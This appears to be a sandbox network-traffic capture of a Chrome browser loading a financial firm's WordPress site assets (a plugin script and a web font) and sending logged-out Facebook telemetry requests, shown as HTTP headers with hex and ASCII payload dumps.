2024-04-11 20:36:01 UTC	1042	IN	Data Raw: 2f 2a 0a 20 2a 20 40 50 6c 75 67 69 6e 20 54 69 6d 65 6c 69 6e 65 20 45 78 70 72 65 73 73 0a 20 2a 20 40 41 75 74 68 6f 72 20 43 6f 64 65 20 50 61 72 72 6f 74 73 0a 20 2a 20 40 53 69 74 65 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 77 70 2d 74 69 6d 65 6c 69 6e 65 65 78 70 72 65 73 73 2e 63 6f 6d 0a 20 2a 20 40 56 65 72 73 69 6f 6e 20 31 2e 38 2e 31 0a 20 2a 20 40 42 75 69 6c 64 20 30 34 2d 30 34 2d 32 30 32 30 0a 20 2a 2f 0a 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6e 65 77 20 43 75 73 74 6f 6d 45 76 65 6e 74 28 22 74 69 6d 65 6c 69 6e 65 4c 61 79 6f 75 74 53 74 61 72 74 22 29 29 2c 6a 51 75 65 72 79 28 22 68 74 6d 6c 22 29 2e 61 64 64 Data Ascii: /* * @Plugin Timeline Express * @Author Code Parrots * @Site https://www.wp-timelineexpress.com * @Version 1.8.1 * @Build 04-04-2020 */jQuery(document).ready(function(){window.dispatchEvent(new CustomEvent("timelineLayoutStart")),jQuery("html").add

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
293	192.168.2.4	50185	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:36:02 UTC	759	OUT	GET /wp-content/plugins/types/vendor/toolset/toolset-common/res/lib/font-awesome/webfonts/fa-solid-900.woff2 HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.bfjfinancial.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://www.bfjfinancial.com/wp-content/plugins/types/vendor/toolset/toolset-common/res/lib/font-awesome/css/all.css?ver=5.13.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:36:02 UTC	742	IN	HTTP/1.1 200 OK Connection: close Content-Length: 79444 x-fw-server: Flywheel/5.1.0 cache-control: public, max-age=31536000 x-xss-protection: 1 x-fw-version: 5.0.0 last-modified: Mon, 04 Mar 2024 09:46:52 GMT etag: "65e5988c-13654" referrer-policy: no-referrer-when-downgrade x-content-type-options: nosniff content-type: application/octet-stream x-fw-hash: thumialfjs access-control-allow-origin: * Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:36:02 GMT X-Served-By: cache-lga21948-LGA, cache-lga21983-LGA X-Cache: MISS, HIT X-Cache-Hits: 0, 0 X-Timer: S1712867762.132244,VS0,VE2 Vary: Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:36:02 UTC	16384	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 01 36 54 00 0d 00 00 00 03 17 74 00 01 35 f8 01 4b 02 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f 46 46 54 4d 1c 1a 1e 06 60 00 99 56 11 08 0a 8a e6 54 88 c2 2b 01 36 02 24 03 9f 16 0b 9f 1c 00 04 20 05 8a 2b 07 e1 6c 5b c9 74 92 41 b4 f3 af 54 86 b9 6d 00 90 65 15 7f fc af 3b d9 b8 03 d0 1d 70 af 70 2b 34 5c 31 b6 65 0d 7b 1c 10 e0 17 ce fe ff ff ff 7f 5b b2 08 db dc 9d 5c 66 73 7b 6f 10 45 50 22 8f 11 4b b5 b6 55 14 33 1b 32 31 7a d2 ce ec 52 a2 58 54 d5 a4 c4 88 6c 9a 9a 74 e5 b3 6a 8a 32 6f 1e d4 d6 72 7b 6c 5b 7b 4a 6a 07 9e f7 72 00 26 d1 80 29 02 ca 53 dd b7 d6 ca 8b bc ca 5e b5 06 8f 63 5a e6 79 9e 0f f3 f0 37 95 c4 dd 1f 54 01 49 11 50 11 50 11 50 4e b9 96 92 6b 90 d3 39 b9 bb 8a 81 2e 8a 80 ea aa Data Ascii: wOF26Tt5K?FFTM`VT+6$ +l[tATme;pp+4\1e{[\fs{oEP"KU321zRXTltj2or{l[{Jjr&)S^cZy7TIPPPNk9.
2024-04-11 20:36:02 UTC	16384	IN	Data Raw: 4c 11 71 cd 72 96 ce 34 34 ab 2f e1 78 c2 81 40 c0 f5 21 b4 ba 04 44 c7 4f f7 7f 11 37 cb a0 53 fb da 79 4c da f5 9f 7e f5 e5 b6 21 d0 b2 86 9f 38 a3 0b 63 27 b1 32 2d 10 ca 40 1d c9 d0 9b 9b 9b 17 38 cb 28 24 af 46 4e 16 29 06 18 bd 8f ec 6b 82 04 e3 29 2b 9f 68 25 45 2f 61 c8 9e c2 66 2f e5 be d2 59 48 92 d9 19 d1 26 e9 21 67 d3 01 3d 46 ba 95 4d c7 2c 36 d8 40 17 ba 1a d5 d2 8a 8d ae eb fb c2 a5 e9 17 ad 9d 2f f8 bb 31 d2 e8 fe 42 f4 6a 74 14 ab d1 87 82 a7 85 99 61 83 e7 0f 02 a1 36 79 31 5d fa e4 0f b3 a0 ba 29 d1 8b 7a bb 47 ef 72 76 5e 93 3a bf 50 8a 8e 74 f1 89 d1 54 24 14 61 ae c4 22 71 a1 96 ef 46 64 84 74 e6 86 47 52 8c bf 16 da d4 d0 8e 05 2e 5e 6d bd 66 3c 87 24 6e 3f b8 92 c2 d6 ff 25 69 29 a5 3b bb fa 8e 91 e7 4c e6 56 9f bc 8e f9 e4 76 3c Data Ascii: Lqr44/x@!DO7SyL~!8c'2-@8($FN)k)+h%E/af/YH&!g=FM,6@/1Bjta6y1])zGrv^:PtT$a"qFdtGR.^mf<$n?%i);LVv<
2024-04-11 20:36:02 UTC	16384	IN	Data Raw: b2 35 58 e0 e0 d6 7f ea 17 94 ef 35 fe 05 83 55 6c 69 b0 bd 2a 0d 36 8b 18 ec f9 f8 2c 8c 96 85 6b 66 9b e5 cd 83 9b 4f 9e 22 d7 82 68 6b 65 15 f4 5d 5c fa 7e 51 68 76 50 90 87 9c 9d ca d6 62 0c 3a f2 b3 37 81 ed 9a 3f a4 58 37 39 97 eb 9e 4c d5 49 48 6a ee fe f6 10 ff 5b 75 72 70 81 1a 89 e7 1a eb 47 8d 44 c0 a3 75 63 ab 3f 88 87 44 c0 1b 3f 1b 24 c3 12 ec ef f7 43 34 98 a0 95 1f a8 98 b7 54 91 e4 95 24 9d b3 22 cb e5 28 77 12 af c5 4f e2 16 f2 c6 ce 91 4a 9a 14 4b 57 a7 77 68 e6 de f1 a6 53 68 3b fc df f2 08 0b b3 fc a3 e2 b1 e5 8d a1 bb 79 94 81 c0 23 ba 71 2f 66 c1 bc 40 96 35 de db 4b 54 4f 3b f6 8e ef 9b 55 c9 18 c6 51 5e 24 1d 9a e1 8c f5 4c 1f 89 8f e7 b3 dd bb 9f 79 ca 59 18 9d ee 46 1f 9c 18 1f be 13 2f b2 3c e3 e2 08 2c 54 02 fe d3 52 e0 76 c9 Data Ascii: 5X5Uli*6,kfO"hke]\~QhvPb:7?X79LIHj[urpGDuc?D?$C4T$"(wOJKWwhSh;y#q/f@5KTO;UQ^$LyYF/<,TRv
2024-04-11 20:36:02 UTC	16384	IN	Data Raw: 05 c5 6d 6c e0 f8 b0 a6 de ea 52 b4 b7 ec 82 7a 60 c0 70 b4 6c ef 69 e9 fc f0 3a 31 90 22 12 5d a7 b5 4f 66 74 f1 fd 3e 2e a2 a1 07 88 e5 44 bd be 28 51 88 18 26 e2 1b 96 c8 51 b1 58 92 f0 2c 3c 3c e3 1c c7 fc 35 41 14 b5 21 e6 07 f0 f8 40 1f 49 78 f3 60 0d df 9d a1 d6 8b d5 46 e0 3f 7a f1 44 d7 ec 17 94 59 ab a6 a8 f5 3a 09 f2 3b ba 30 a0 1e 05 25 d1 69 eb 02 53 b1 34 9b a8 c4 c0 ca ca e5 db a8 8f ca 0c 39 f7 cc 9b 19 41 b2 bd d1 35 37 73 ae bf a9 73 f5 56 73 8a 0f a8 db 2a 97 57 06 06 12 36 a5 7e 7e 89 eb a2 d3 5a 3b 4d fe ae 23 76 4d a8 48 69 79 33 37 10 41 15 e5 e9 0b 20 89 c9 d2 1c 03 a7 dd 12 b7 77 53 b5 76 45 7e d5 5e 6d b0 d8 e7 47 c8 77 6e ff dc b6 e8 40 9f 6d 2f 77 57 20 b9 9a fb f4 7a 2f a4 fd 82 f8 83 66 b5 3d 3a a0 62 d4 20 c1 61 f7 33 5d 82 Data Ascii: mlRz`pli:1"]Oft>.D(Q&QX,<<5A!@Ix`F?zDY:;0%iS49A57ssVs*W6~~Z;M#vMHiy37A wSvE~^mGwn@m/wW z/f=:b a3]
2024-04-11 20:36:02 UTC	13908	IN	Data Raw: d3 4f 23 57 12 3d 67 39 39 1c f3 f4 ac 30 23 1c 2c 8a 41 0f e0 6e 27 72 c5 0a a4 53 ff ae 75 13 c5 4e fd 52 44 7d 3a 82 41 0f 7e 0a 2c 78 db fc f8 10 cb dd 2f bf c2 f8 2c 57 61 bb 45 22 15 f5 4a 28 a0 76 52 97 a8 59 57 f0 7d 23 46 dc f3 69 66 de 31 f3 0f 43 41 73 d5 41 c3 b6 0d 37 62 c5 6b 50 4d 4b f7 8d 69 82 42 32 c4 db a2 86 df a5 bf bf 17 df af 7e 71 e9 c5 7e f6 8b e1 17 fd 1c cd fb 8f ba 1d f7 57 5f df 76 c2 bb 6b 56 e8 79 34 ae c8 05 be f2 bb 5e 25 b3 98 a5 15 61 ce 81 01 25 c9 0a 56 46 36 32 a3 a3 63 ec a8 18 29 d1 f6 17 6c 2b 6e 30 93 b6 84 fc 50 49 5e f3 79 0e 1c ea a4 e1 35 0b 2f 93 ad e0 5f 0c 02 ab 23 4a d2 44 e9 f8 08 75 18 1a de 83 8f 26 54 59 2e 00 03 c0 46 1e cb 27 02 29 e2 9a 7b dd 6f 5c d0 50 69 d4 c9 88 64 ad e5 81 6d df 3c ce 1f f7 7b Data Ascii: O#W=g990#,An'rSuNRD}:A~,x/,WaE"J(vRYW}#Fif1CAsA7bkPMKiB2~q~W_vkVy4^%a%VF62c)l+n0PI^y5/_#JDu&TY.F'){o\Pidm<{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
294	192.168.2.4	50186	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:36:05 UTC	1303	OUT	POST /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__comet_req=15&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&__hsi=7356710875980239076&__req=f&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__spin_b=trunk&__spin_r=1012711792&__spin_t=1712867728&__user=0&dpr=1&jazoest=2954&lsd=AVqJt7mBmTM&ph=C3 HTTP/1.1 Host: www.facebook.com Connection: keep-alive Content-Length: 939 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 viewport-width: 1280 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynBd8ePi5qTNQ3Anj sec-ch-ua-platform-version: "10.0.0" dpr: 1 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-model: "" sec-ch-prefers-color-scheme: light sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.facebook.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.facebook.com/bfjfinancial/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wd=1280x907; datr=kEkYZr_nDMrv36ebLjkbz_9w; fr=05waMQFvhEIeDqhkC..BmGEmY..AAA.0.0.BmGEms.AWXWVZ2EOJA
2024-04-11 20:36:05 UTC	939	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 6e 42 64 38 65 50 69 35 71 54 4e 51 33 41 6e 6a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 73 22 0d 0a 0d 0a 31 37 31 32 38 36 37 37 36 34 37 38 35 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 6e 42 64 38 65 50 69 35 71 54 4e 51 33 41 6e 6a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 71 22 0d 0a 0d 0a 5b 7b 22 61 70 70 5f 69 64 22 3a 22 32 32 32 30 33 39 31 37 38 38 32 30 30 38 39 32 22 2c 22 70 6f 73 74 73 22 3a 5b 5b 22 66 61 6c 63 6f 3a 62 64 5f 70 64 63 5f 73 69 67 6e 61 6c 73 22 2c 7b 22 65 22 Data Ascii: ------WebKitFormBoundarynBd8ePi5qTNQ3AnjContent-Disposition: form-data; name="ts"1712867764785------WebKitFormBoundarynBd8ePi5qTNQ3AnjContent-Disposition: form-data; name="q"[{"app_id":"2220391788200892","posts":[["falco:bd_pdc_signals",{"e"
2024-04-11 20:36:05 UTC	896	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/comet_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:36:05 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:36:05 UTC	1758	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
295	192.168.2.4	50187	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:36:05 UTC	729	OUT	GET /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__comet_req=15&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&__hsi=7356710875980239076&__req=f&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__spin_b=trunk&__spin_r=1012711792&__spin_t=1712867728&__user=0&dpr=1&jazoest=2954&lsd=AVqJt7mBmTM&ph=C3 HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wd=1280x907; datr=kEkYZr_nDMrv36ebLjkbz_9w; fr=05waMQFvhEIeDqhkC..BmGEmY..AAA.0.0.BmGEms.AWXWVZ2EOJA
2024-04-11 20:36:06 UTC	896	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/comet_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:36:06 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:36:06 UTC	1539	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
296	192.168.2.4	50188	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:36:08 UTC	1303	OUT	POST /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__comet_req=15&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&__hsi=7356710875980239076&__req=g&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__spin_b=trunk&__spin_r=1012711792&__spin_t=1712867728&__user=0&dpr=1&jazoest=2954&lsd=AVqJt7mBmTM&ph=C3 HTTP/1.1 Host: www.facebook.com Connection: keep-alive Content-Length: 989 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 viewport-width: 1280 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPRdm7aLqIyb1I3Fp sec-ch-ua-platform-version: "10.0.0" dpr: 1 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-model: "" sec-ch-prefers-color-scheme: light sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.facebook.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.facebook.com/bfjfinancial/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wd=1280x907; datr=kEkYZr_nDMrv36ebLjkbz_9w; fr=05waMQFvhEIeDqhkC..BmGEmY..AAA.0.0.BmGEms.AWXWVZ2EOJA
2024-04-11 20:36:08 UTC	989	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 50 52 64 6d 37 61 4c 71 49 79 62 31 49 33 46 70 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 73 22 0d 0a 0d 0a 31 37 31 32 38 36 37 37 36 37 37 38 33 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 50 52 64 6d 37 61 4c 71 49 79 62 31 49 33 46 70 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 6f 73 74 5f 30 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 62 6c 6f 62 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 78 9c 75 50 5d Data Ascii: ------WebKitFormBoundaryPRdm7aLqIyb1I3FpContent-Disposition: form-data; name="ts"1712867767783------WebKitFormBoundaryPRdm7aLqIyb1I3FpContent-Disposition: form-data; name="post_0"; filename="blob"Content-Type: application/octet-streamxuP]
2024-04-11 20:36:08 UTC	896	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/comet_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:36:08 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
